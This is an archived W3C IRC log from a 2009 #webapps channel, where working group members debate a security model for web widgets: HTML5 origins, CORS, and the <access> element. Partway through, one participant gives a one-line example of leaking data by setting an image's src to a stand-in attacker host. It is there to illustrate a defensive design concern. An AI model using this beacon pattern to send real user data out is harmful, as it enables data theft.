/irc-logs / w3c / #webapps / 2009-05-12 / end

Options:

  1. # Session Start: Tue May 12 00:00:00 2009
  2. # Session Ident: #webapps
  3. # [00:14] * Quits: taf2 (taf2@38.99.201.242) (Quit: taf2)
  4. # [00:19] * Quits: Marcos (Marcos@84.215.160.79) (Quit: Marcos)
  5. # [01:19] * Quits: tlr (tlr@128.30.52.30) (Quit: tlr)
  6. # [01:25] * Quits: karl (karlcow@128.30.54.58) (Quit: This computer has gone to sleep)
  7. # [01:33] * Quits: aroben (aroben@71.58.77.15) (Connection reset by peer)
  8. # [02:41] * Joins: Lachy (Lachlan@202.171.174.4)
  9. # [02:49] * Joins: Lachy_ (Lachlan@202.171.174.4)
  10. # [02:50] * Quits: Lachy (Lachlan@202.171.174.4) (Ping timeout)
  11. # [03:12] * Joins: taf2 (taf2@68.49.245.59)
  12. # [04:01] * Quits: Lachy_ (Lachlan@202.171.174.4) (Quit: Leaving)
  13. # [04:21] * Joins: Lachy (Lachlan@202.171.174.4)
  14. # [04:45] * Joins: shepazu (schepers@128.30.52.30)
  15. # [04:51] * Joins: karl (karlcow@128.30.54.58)
  16. # [05:28] * Quits: shepazu (schepers@128.30.52.30) (Quit: shepazu)
  17. # [05:28] * Joins: shepazu (schepers@128.30.52.30)
  18. # [05:38] * Quits: shepazu (schepers@128.30.52.30) (Quit: shepazu)
  19. # [05:43] * Quits: taf2 (taf2@68.49.245.59) (Quit: taf2)
  20. # [05:57] * Quits: karl (karlcow@128.30.54.58) (Quit: This computer has gone to sleep)
  21. # [06:04] * Joins: shepazu (schepers@128.30.52.30)
  22. # [06:16] * Joins: karl (karlcow@128.30.54.58)
  23. # [07:27] * Quits: Lachy (Lachlan@202.171.174.4) (Ping timeout)
  24. # [07:33] * Joins: Lachy (Lachlan@202.171.174.4)
  25. # [07:42] * Joins: Lachy_ (Lachlan@202.171.174.4)
  26. # [07:42] * Quits: Lachy (Lachlan@202.171.174.4) (Ping timeout)
  27. # [09:04] * Joins: Lachy__ (Lachlan@202.171.174.4)
  28. # [09:04] * Quits: Lachy_ (Lachlan@202.171.174.4) (Ping timeout)
  29. # [09:43] * Joins: darobin (darobin@85.169.117.248)
  30. # [09:58] * Quits: Lachy__ (Lachlan@202.171.174.4) (Connection reset by peer)
  31. # [10:06] * Joins: arve (arve@213.236.208.22)
  32. # [10:06] * Joins: Lachy__ (Lachlan@202.171.174.4)
  33. # [10:16] * Joins: tlr (tlr@128.30.52.30)
  34. # [10:28] * Quits: arve (arve@213.236.208.22) (Quit: Ex-Chat)
  35. # [10:32] * Joins: arve (arve@213.236.208.22)
  36. # [10:44] * Quits: darobin (darobin@85.169.117.248) (Quit: darobin)
  37. # [10:55] * Lachy__ is now known as Lachy
  38. # [11:55] * Joins: darobin (darobin@82.233.247.234)
  39. # [12:24] * Quits: gsnedders (gsnedders@86.136.52.180) (Client exited)
  40. # [12:37] * Joins: ArtB (d0309a43@128.30.52.43)
  41. # [13:58] * tlr is now known as tlr-bbiab
  42. # [14:14] * tlr-bbiab is now known as tlr
  43. # [14:19] <ArtB> arve, is Marcos available?
  44. # [14:21] <arve> he was here at lunch, at least
  45. # [14:22] <arve> fwiw, re the actions: hendry ran it through their IDL checker, and found one issue -- the other one I can answer is "no", becasue A&E has no dependencies on HTML5 anymore, just on the ED called "storage"
  46. # [14:26] <ArtB> arve, so the Storage reference should then change to http://www.w3.org/TR/2009/WD-webstorage-20090423/ right?
  47. # [14:27] <ArtB> arve, what's the status of updating the IDL error hendry found?
  48. # [14:28] <arve> fixed in Overview.src.html
  49. # [14:29] <arve> It just needs to be rebuilt, but I've never been able to make anolis work properly
  50. # [14:29] <ArtB> so Marcos does the anolis magic?
  51. # [14:29] <arve> ----------------------------
  52. # [14:29] <arve> revision 1.44
  53. # [14:29] <arve> date: 2009/05/07 12:26:02; author: abersven; state: Exp; lines: +1 -1
  54. # [14:29] <arve> Fixed openURL()
  55. # [14:29] <arve> yes, since he actually has anolis installed
  56. # [14:29] <arve> I gave up on it some time ago myself
  57. # [14:30] <arve> I could use what the CSS WG uses, but it generates an inferior document
  58. # [14:33] <ArtB> arve, based on this info I closed 232 and 290.
  59. # [14:50] * Joins: Marcos (Marcos@213.236.208.22)
  60. # [15:13] <ArtB> marcos, arve, darobin, tlr - how do we get consensus on http://lists.w3.org/Archives/Public/public-webapps/2009AprJun/0514.html ?
  61. # [15:13] <Marcos> Yes, widgets will use HTML5 security model
  62. # [15:14] <arve> We do not have consensus
  63. # [15:14] <Marcos> I mean, no :)
  64. # [15:15] <Marcos> Arve, what's the problem?
  65. # [15:15] * Joins: taf2 (taf2@38.99.201.242)
  66. # [15:15] <arve> The HTML5 model is both too restrictive, and too lax
  67. # [15:16] <ArtB> TLR argues we don't have clear requirements (http://www.w3.org/2009/05/07-wam-minutes.html#item04)
  68. # [15:16] <arve> I'm not about to let the HTML5 security model loose on my device data
  69. # [15:16] <arve> here's the (ab)use case:
  70. # [15:16] <arve> 1. I have an API that allows for automated billing through SMS
  71. # [15:17] * Joins: aroben (aroben@71.58.77.15)
  72. # [15:17] <arve> (or some other random "sensitive" api that could leak information, such as it giving a widget access to a random piece of information, say your cc number)
  73. # [15:18] <arve> in the HTML security model, I would only have to inject something that could gather this data, and do:
  74. # [15:18] <arve> var foo = new Image(); foo.src = "http://evil.example.com/"+sensitive_data;
  75. # [15:19] <arve> HTML5 doesn't enforce origin policies on inline data
  76. # [15:19] <Marcos> right
  77. # [15:20] <arve> and on the other hand
  78. # [15:20] <arve> if I want to write the great web scraper widget, I am going to need indiscriminate access to any address on the web from within my widget, no matter what any CORS might say
  79. # [15:21] <Marcos> the device APIs will eventually end up natively on browsers anyway, and they won't stop using the HTML5 security model. I don't see what difference it makes to use the HTML (un)security model
  80. # [15:21] <arve> (I could complicate this even further, saying that some operator might for instance request that a widget is max allowed to make 'n' connections in the timespan 't', but that's also unlikely to happen)
  81. # [15:22] <Marcos> The issue you are describing could be solved with a per-instance security policy mechanism
  82. # [15:23] <Marcos> (read, the tools will save us)
  83. # [15:23] <arve> what do you mean by "per-instance"?
  84. # [15:24] <Marcos> well, you could say "All instances of widget X are only allowed to talk to domain Y"
  85. # [15:24] <arve> I guess what I'm saying is that if I could turn back time, I'd go and revise the entire web with a combination of CORS, and the anally retentive model that deals with the inline leaks
  86. # [15:24] * Parts: arve (arve@213.236.208.22) (Ex-Chat)
  87. # [15:25] <Marcos> and with that, he is gone...
  88. # [15:25] * Joins: arve (arve@213.236.208.22)
  89. # [15:25] <arve> hm, wrong ctrl-w
  90. # [15:25] <Marcos> :)
  91. # [15:25] <arve> either way, the model is roughly described in http://markmail.org/message/b7ca3auvi4ewgamh as I input to this wg, before you joined opera
  92. # [15:26] <arve> it's the combination of both
  93. # [15:26] <Marcos> right, I remember
  94. # [15:27] <Marcos> I still think we use HTML5 as default
  95. # [15:27] <Marcos> and then add a layer onto of that as an optin thing
  96. # [15:28] <Marcos> we make widgets part of the "Web" (and make Hixie sweat! :) )
  97. # [15:29] <arve> my point is "web" is incompatible with "persistent access to user-sensitive data"
  98. # [15:29] * Parts: arve (arve@213.236.208.22) (Ex-Chat)
  99. # [15:29] * Joins: arve (arve@213.236.208.22)
  100. # [15:29] <Marcos> Yeah, I get that. That's why we add in the op-in model
  101. # [15:29] <arve> *again* :P
  102. # [15:30] <arve> (New dual-screen setup)
  103. # [15:30] <Marcos> ehhe, I wasn't going to say anything :)
  104. # [15:30] <arve> Marcos: opting in to what?
  105. # [15:30] <arve> the web security model?
  106. # [15:30] <Marcos> into using the "Arve super secure mode"
  107. # [15:30] <arve> <widget><security><origin url="....." /></></> ?
  108. # [15:31] <Marcos> sure, that will do
  109. # [15:31] <ArtB> I'm not convinced the <access> element and its related security model should be in the P&C spec.
  110. # [15:31] <arve> what if I am "evil, sick bastard X from evil.com and I set "twitter.com" as origin, to proceed leaking information?
  111. # [15:31] <Marcos> The point being that every widget can still use <script> and <img> and <iframe>, etc. from anywhere by default
  112. # [15:32] <Marcos> no no no
  113. # [15:32] <arve> Marcos: not in my model
  114. # [15:32] <Marcos> no, origin is still synthetic.
  115. # [15:32] <arve> synthesised from what, exactly?
  116. # [15:32] <Marcos> just like a file running locally on a browser
  117. # [15:33] <Marcos> a file running locally can still load external scripts. The origin itself does not matter so long as it is not a http:// URI
  118. # [15:33] <arve> Marcos: opting into my mode is not going to be acceptable for a single japanese operator
  119. # [15:33] <Marcos> or one on the network
  120. # [15:33] <arve> won't work
  121. # [15:34] <Marcos> Won't work for business reasons or technical reasons?
  122. # [15:34] <arve> a document with origin A (say GMail), can't be transported to origin B, and still work
  123. # [15:34] <Marcos> right
  124. # [15:34] <Marcos> that's ok
  125. # [15:34] <arve> Marcos: both -- they're a densely packed country, and protect their network resources quite fiercely
  126. # [15:36] <Marcos> Arve, I was not exactly suggesting "Save as Widget..."
  127. # [15:44] <darobin> so, sorry I couldn't join in on this earlier, was on the phone
  128. # [15:44] <darobin> personally, I can't say I care much — when people speak of security all I hear is lalalala
  129. # [15:44] <darobin> I just want a consensus so I can put it in the spec
  130. # [15:44] <darobin> I'm happy to put it in a separate spec too, and edit that
  131. # [15:45] <darobin> the only thing that's important is that <access> be somewhere because we got OMTP to drop it on the grounds that W3C is doing it, and I want to keep the goodwill flowing
  132. # [15:46] <darobin> ArtB: who are the team people involved in the DASWG chartering?
  133. # [15:46] <ArtB> Arve, TLR, what are your thoughts on moving <access> to a separte spec?
  134. # [15:47] <ArtB> darobin, gee, I've talked to and/or exchanged email with all of the Usual Suspects (at least PLH, PH, TLR, MS, DS, Dom; possibly others ...)
  135. # [15:47] <darobin> ArtB: heh, figures!
  136. # [15:50] <tlr> artb, send e-mail
  137. # [15:50] <tlr> I'm in a WG meeting by phone and can't swap this in, too
  138. # [15:50] <tlr> happy to get on a call next week, but not this
  139. # [15:52] <ArtB> tlr, ok, will do
  140. # [15:52] * ArtB notes TLR sends regrets for May 14 widgets call
  141. # [15:52] <tlr> that's why I'm saying "call next week, not this
  142. # [15:53] <ArtB> Roger that
  143. # [15:53] * tlr suffering total overload this week
  144. # [16:02] <ArtB> darobin, I defintely don't want <access> to be dropped!
  145. # [16:02] * Disconnected
  146. # [16:05] * Attempting to rejoin channel #webapps
  147. # [16:05] * Rejoined channel #webapps
  148. # [16:05] * Quits: aroben (aroben@71.58.77.15) (Ping timeout)
  149. # [16:06] <Marcos> darobin: we are not talking about <access> per se
  150. # [16:06] <ArtB> darobin, understood
  151. # [16:06] <Marcos> darobin: all we are talking about is if inline content can request resources
  152. # [16:06] <darobin> yes I know, it's the whole security model discussion
  153. # [16:06] <Marcos> <access> only really applied to XHR in my model
  154. # [16:07] * Disconnected
  155. # [16:07] * Attempting to rejoin channel #webapps
  156. # [16:07] * Rejoined channel #webapps
  157. # [16:08] <darobin> here's a proposal: we make it work exactly as if a widget were a serialised HTML5 AppCache
  158. # [16:08] * darobin let's other people read up on page upon page of algorithms
  159. # [16:08] * Quits: krijnh (krijnhoetm@213.84.148.98) (Ping timeout)
  160. # [16:09] <Marcos> right. Marcos wants this: if I create a widget, then it gets origin = <synthetic opaque>; then <img src="http://google.com/logo" works, and so does <script src="http://jquery.com/latest"> </script>, and iframe works too, I guess
  161. # [16:09] <arve> ArtB: if the spec can be completed at the same time as p&c, and we define what happens when the access document is missing, I'm all for it
  162. # [16:09] <darobin> s/document/element/
  163. # [16:09] <hendry> Marcos: http://dabase.com/blog/Widget_Test_Framework/
  164. # [16:12] <arve> hendry: I'm having an extremely hard time reading that document, the font is fairly hideous
  165. # [16:12] <Marcos> Marcos' model does not allow: xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "http://x.com/test.txt",true); by default
  166. # [16:12] <arve> hendry: (sorry, not meaning to be rude, but may I propose setting the font to "sans serif" instead?)
  167. # [16:12] <Marcos> Marcos' model allows XHR iff <access pattern/uri="http://x.com" />
  168. # [16:12] <ArtB> arve, if I understand you comment above correctly, you think there must be a depdency between P&C and <access>. My question is whether we break that dependency and let the specs progress separately.
  169. # [16:12] <hendry> arve: i have not touched the default ikiwiki style sheet. I will switch to "sans serif" :-)
  170. # [16:12] <arve> ArtB: it's not really separatble, in my view
  171. # [16:12] <arve> separable, separatable (sp?)
  172. # [16:12] * Disconnected
  173. # [16:13] * Attempting to rejoin channel #webapps
  174. # [16:13] * Rejoined channel #webapps
  175. # [16:13] <Marcos> ok, lets do this this way. I have the following widget:
  176. # [16:13] <Marcos> widget.wgt -> config.xml = <widget />
  177. # [16:14] <Marcos> widget.wgt -> index.html = <img src="http://x.com/cat" />
  178. # [16:14] <Marcos> can I see the cat?
  179. # [16:14] * Marcos votes yes :D
  180. # [16:14] * arve votes no
  181. # [16:15] <Marcos> darobin?
  182. # [16:15] <darobin> Marcos?
  183. # [16:15] <arve> (Yes, it's perfectly ok for two opera employees to disagree here)
  184. # [16:15] <darobin> ah, hang on
  185. # [16:15] * ArtB wonders if cat in this context is what you mean by "inline" resource?
  186. # [16:15] <arve> ArtB: it is
  187. # [16:15] <arve> My proposal is rather different from marcos'
  188. # [16:16] <arve> 1. Two concepts, "html5-origin" and "any-origin"
  189. # [16:16] <darobin> my preference is for access to apply to everything
  190. # [16:17] <darobin> otherwise it's useless, you can implement a complete protocol with inline elements
  191. # [16:17] <arve> for html5-origin, the same security policy as for a web page exists, in every respect (including not allowing access to device apis)
  192. # [16:17] <Marcos> darobin, so "no"?
  193. # [16:17] <darobin> yeah
  194. # [16:17] <Marcos> so, "can I see the cat?" no
  195. # [16:17] <darobin> but not a strong no, if there's consensus in the other direction I'm happy to edit it
  196. # [16:17] <darobin> I JUST WANT TO GET THE SPEC OUT
  197. # [16:17] <darobin> :)
  198. # [16:18] <arve> in this proposal, a synthetic origin, based on the origin of the widget on the web, is computed, and applied to the widget
  199. # [16:18] <arve> in this case, inlines are not enforced, and when running the widget, it will be treated in just the same way as if you loaded the document from a location on that domain
  200. # [16:18] <arve> CORS and everything else applies
  201. # [16:18] <Marcos> right.
  202. # [16:18] <darobin> so basically that's widgets as serialised AppCache
  203. # [16:19] <arve> yes
  204. # [16:19] <darobin> I like that. A lot.
  205. # [16:19] <darobin> I think it also addresses tlr's converns
  206. # [16:19] <darobin> concerns
  207. # [16:19] <arve> and a "save as widget" would use the manifest to determine which documents to save to disk, and which to load from network
  208. # [16:19] <Marcos> right
  209. # [16:19] <darobin> at least those to do with missing an opportunity to better integrate widgets into the web
  210. # [16:19] <arve> said widget would always require network, though
  211. # [16:19] <darobin> arve: funny, I just wrote the very same thing to ppk this morning
  212. # [16:20] <tlr> i like that too, but predictpushback from some corners
  213. # [16:20] <arve> And then we get to "any-origin"
  214. # [16:20] <darobin> well if the four of us agree on this, there ain't no force in the 'verse can stop us!
  215. # [16:20] <arve> which, if you allow me to hijack the channel for a few messages works as such
  216. # [16:20] <tlr> in particular since for the typical "download the zip" use case, there is no strong binding between the widget and the origin
  217. # [16:20] <arve> a) The same-origin-policy is disbanded
  218. # [16:20] <darobin> except perhaps a bottle of Gammel Danks
  219. # [16:20] <darobin> Dansk
  220. # [16:20] * Joins: wellington (chatzilla@201.43.142.174)
  221. # [16:21] <Marcos> Ok, wait. You guys are all jumping the gun. I made my widget locally (as above).
  222. # [16:21] <arve> b) For any and all access to any URL resource (including inlines), the widget is checked against an instance policy
  223. # [16:21] <arve> the instance policy is comprised of the following:
  224. # [16:22] <arve> 1. Which URLs the widget says it intends to access
  225. # [16:22] <arve> 2. Which URLs the widget says it doesn't intend to access
  226. # [16:22] <arve> 3. Which URLs the UA will allow this widget to access
  227. # [16:22] <arve> 4. And which URLs it will forbid
  228. # [16:22] * ArtB wonders who belongs to the set of people in "other corners" ...
  229. # [16:22] * tlr is now known as napoleon
  230. # [16:23] * napoleon is now known as tlr
  231. # [16:23] * Marcos moves out of the corner
  232. # [16:23] <arve> tlr: that means you exiled yourself?
  233. # [16:23] <tlr> no, it means I'll fight Wellington, whoever that is
  234. # [16:24] <arve> the concept of "origin" for this class of widgets is dynamic, e.g. the UA recomputes the origin before any request
  235. # [16:24] <tlr> so, more seriously, I'd be happy to schedule a call on the access thing out of order for early next week
  236. # [16:24] <arve> 5. In this mode, the UA may or may not allow access to APIs outside of the web
  237. # [16:24] <tlr> I think Mark Priestley will be critical, Art, Arve, Marcos, Robin
  238. # [16:24] <arve> tlr: critical to what? I basically want to support both models
  239. # [16:24] <arve> because I want to, say go to Twitter.com, and say "Save as widget"
  240. # [16:24] <tlr> arve, take that as an indication that I haven't followed everything here.
  241. # [16:24] <arve> and have it "Just work"
  242. # [16:25] <Marcos> I agree that is a good model
  243. # [16:25] <tlr> so, I'd strongly prefer taking this discussion to the mailing list for this week, and returning to synchronous mode next
  244. # [16:25] <tlr> (this week is hell, schedule-wise)
  245. # [16:25] <arve> I also want to be able to serve my "Virtuelvis.com" widget from my own domain, so that I don't have to go through some vendor's approval process for leaving a safe app on a user's system
  246. # [16:26] <darobin> I think having the proposal in email would be good anyway, irrespective of tlr's busy agenda
  247. # [16:26] * Marcos still does not think the BlueTooth use case has been sufficiently covered.
  248. # [16:26] <darobin> Marcos: BlueTooth is part of my UC for widgets-as-serialised-AppCache
  249. # [16:26] <arve> fwiw, the "any-origin" policy I'm suggesting is implementable, as we've done it, mostly, for Opera 10
  250. # [16:26] <arve> Marcos: bluetooth would have to follow case-2
  251. # [16:26] * Marcos does not know what AppCache is
  252. # [16:27] <darobin> go to the web, see cool app, click Send to phone —> you have a widget installed
  253. # [16:27] <arve> as it's unpossible to get an authorative synthetic origin
  254. # [16:27] <darobin> arve: I'd like to be able to serialise the html5-origin version
  255. # [16:27] <arve> darobin: that would just, in reality, mean dispatching the url of the web page or the widget, to a widget runtime on the device
  256. # [16:28] <darobin> fairy nuff
  257. # [16:28] <arve> darobin: <security model="(any|html5)-origin">?
  258. # [16:28] <darobin> <security origin-model='(any|html5)'/> ?
  259. # [16:28] <Marcos> where any = <access>?
  260. # [16:28] <darobin> ya
  261. # [16:29] <darobin> and for HTML5 we never use <access>? just CORS?
  262. # [16:29] <Marcos> and htmls5 lets me see the cat
  263. # [16:29] <Marcos> HTML5 is two fold:
  264. # [16:29] <Marcos> 1. synthetic opaque
  265. # [16:29] <Marcos> 2. web origin
  266. # [16:29] <arve> darobin: essentially, that's what I intended
  267. # [16:30] <arve> Marcos: 'origin' here is for the purpose of allowing whether url access is allowed or not
  268. # [16:30] <arve> the other 'origin' which we need to solve is for the purpose of resolving URI's
  269. # [16:31] <Marcos> arve, understood. I'm taking origin as defined in HTML5
  270. # [16:31] <Marcos> darobin: for HTML5, we use <access> for XHR, not inline content
  271. # [16:32] <darobin> ok
  272. # [16:32] <arve> Marcos: does http://www.ietf.org/internet-drafts/draft-abarth-origin-00.txt still apply for that?
  273. # [16:32] <Marcos> that would give us CORS on xhr on crack! (in a good way)
  274. # [16:33] <Marcos> yes, A Barth's proposal applies here
  275. # [16:33] <arve> I guess what I'm saying is that recompute base to the internal widget one, but use the web origin for external requests
  276. # [16:34] <Marcos> Ok, so, now... what is the default? any|html5?
  277. # [16:34] <Marcos> ah, arve, ok... that complicates things but I guess it is doable
  278. # [16:35] <arve> so, here's the deal about "any"
  279. # [16:35] * Quits: wellington (chatzilla@201.43.142.174) (Quit: ChatZilla 0.9.84 [Firefox 3.0.10/2009042513])
  280. # [16:35] <darobin> we default to the more restrictive
  281. # [16:35] <arve> I'd say the default is "no network", "no apis"
  282. # [16:35] <Marcos> right.
  283. # [16:35] <arve> where "no network" == "any, but disallow network"
  284. # [16:35] <arve> suggest that UAs allow installation of those widgets from anywhere on the web
  285. # [16:36] <arve> the widget should then opt in to "html5", and a right-click-save-as-widget would compute the origin, and set it to html5-policy
  286. # [16:37] <arve> someone who wanted widespread distribution of a widget, would package it with html5 manually
  287. # [16:38] <arve> the final proposal is that user-agents create a whitelist of signatures and web origins where widgets can get "any, but with network, and possibly apis"
  288. # [16:38] <Marcos> arve: the computed origin is not transferable however (i.e., if you send me that widget over bluetooth, the origin is lost)
  289. # [16:38] <arve> Marcos: indeed
  290. # [16:38] <Marcos> that kinda sucks...
  291. # [16:38] <arve> I don't see bluetooth as a lasting use-case, though
  292. # [16:38] <arve> a protocol for widget beaming, could possibly send information the user could accept or reject
  293. # [16:39] * ArtB is now known as ArtB_
  294. # [16:39] <Marcos> unless the origin was recorded in the config
  295. # [16:39] <arve> but what i'd propose, since you have no authorative origin, is that this class of widgets would use "any" plus a signature
  296. # [16:39] <arve> Marcos: how do I trust that config?
  297. # [16:39] <Marcos> you don't
  298. # [16:40] <Marcos> then you need the policy
  299. # [16:40] <arve> either way, though, any such widget wouldn't pass session data anyhow
  300. # [16:40] <arve> so synthesising an origin from a declaration is partially ok anyhow
  301. # [16:42] <arve> (Except, possibly, UI spoofing attacks)
  302. # [16:43] <Marcos> ok, I could live with this "redefinition" of a widget... I still don't like that it is susceptible to breaking.
  303. # [16:43] <Marcos> If the origin was in the config, that would make me happy.
  304. # [16:44] <Marcos> but if not... so be it... my happyness is not that relevant here :)
  305. # [16:44] <arve> I'm saying, as long as that policy is clear, and that the widget is, in every context, just a repackaged web site, fine with it
  306. # [17:00] <Marcos> if we are going to run with this model, then in step 1 of the P&C spec we need to say that the UA must record where the widget came from
  307. # [17:00] <Marcos> iff it came from the network
  308. # [17:01] <Marcos> Then we use that as part of the Configuration Defaults.
  309. # [17:02] <Marcos> so if I d/l widget from http://foo.com/widgets/cats.wgt, I record the scheme and host
  310. # [17:03] <Marcos> and port I guess
  311. # [17:04] <Marcos> hostport, that would be
  312. # [17:05] <Marcos> arve, darobin, thoughts?
  313. # [17:05] <darobin> scrolling back
  314. # [17:06] <Marcos> that's a bit annoying, because what if I host my widget on widgethosting.com but I needs to talk to foo.com?
  315. # [17:07] <Marcos> it's bad to separate metadata out of the object, in this case, the origin
  316. # [17:08] <darobin> I'd be happier with the origin being in the configuration file
  317. # [17:08] <Marcos> me too
  318. # [17:08] <darobin> I don't want something that I can't carry around
  319. # [17:08] <Marcos> exactly
  320. # [17:09] <Marcos> but then we get into the whole <origin uri="http://bank.com" /> problem
  321. # [17:09] <Marcos> whereby a widget can take the origin of an unsuspecting site
  322. # [17:10] <Marcos> c'est la vie?
  323. # [17:28] * Quits: Lachy (Lachlan@202.171.174.4) (Quit: This computer has gone to sleep)
  324. # [17:30] * Joins: Lachy (Lachlan@202.171.174.4)
  325. # [17:30] * Quits: Lachy (Lachlan@202.171.174.4) (Quit: Leaving)
  326. # [17:40] <darobin> yeah, c'est la vie
  327. # [17:41] * Quits: darobin (darobin@82.233.247.234) (Quit: darobin)
  328. # [17:43] * Marcos likes these widgets! they are exciting!
  329. # [17:44] * Quits: arve (arve@213.236.208.22) (Quit: Ex-Chat)
  330. # [17:56] * Joins: Lachy (Lachlan@202.171.174.4)
  331. # [18:13] * Joins: darobin (darobin@82.233.247.234)
  332. # [18:23] * Quits: darobin (darobin@82.233.247.234) (Quit: darobin)
  333. # [18:26] * Quits: shepazu (schepers@128.30.52.30) (Quit: shepazu)
  334. # [18:37] * ArtB_ is now known as ArtB
  335. # [18:46] * Disconnected
  336. # [18:47] * Attempting to rejoin channel #webapps
  337. # [18:47] * Rejoined channel #webapps
  338. # [18:47] * Quits: krijnh (krijnhoetm@213.84.148.98) (Connection reset by peer)
  339. # [18:51] * Quits: Marcos (Marcos@213.236.208.22) (Quit: Marcos)
  340. # [18:58] <ArtB> Marcos, do you and Robin and Arve agree on a security model (without needing to boil the ocean :-)?
  341. # [19:38] * Joins: gsnedders (gsnedders@86.136.52.180)
  342. # [19:39] * Joins: shepazu (schepers@128.30.52.30)
  343. # [19:42] * Quits: gsnedders (gsnedders@86.136.52.180) (Client exited)
  344. # [19:55] * Joins: arve (arve@84.202.133.45)
  345. # [20:00] * Joins: gsnedders (gsnedders@86.136.52.180)
  346. # [20:14] <tlr> .ooO( Why don't we just use the j2me one? )
  347. # [20:14] <tlr> (that was a rhetorical question)
  348. # [20:24] * Joins: hober (ted@206.212.254.2)
  349. # [20:28] * Quits: shepazu (schepers@128.30.52.30) (Quit: shepazu)
  350. # [20:42] * Joins: Marcos (Marcos@213.236.208.22)
  351. # [21:01] * Joins: sicking (chatzilla@63.245.220.241)
  352. # [21:29] * Joins: Lachy_ (Lachlan@202.171.174.4)
  353. # [21:30] * Quits: Lachy (Lachlan@202.171.174.4) (Ping timeout)
  354. # [21:53] * Quits: ArtB (d0309a43@128.30.52.43) (Quit: CGI:IRC)
  355. # [23:17] * Quits: gsnedders (gsnedders@86.136.52.180) (Client exited)
  356. # [23:18] * Joins: gsnedders (gsnedders@86.136.52.180)
  357. # [23:40] * Quits: Lachy_ (Lachlan@202.171.174.4) (Quit: Leaving)
  358. # [23:44] * Quits: tlr (tlr@128.30.52.30) (Quit: tlr)
  359. # Session Close: Wed May 13 00:00:00 2009

The end :)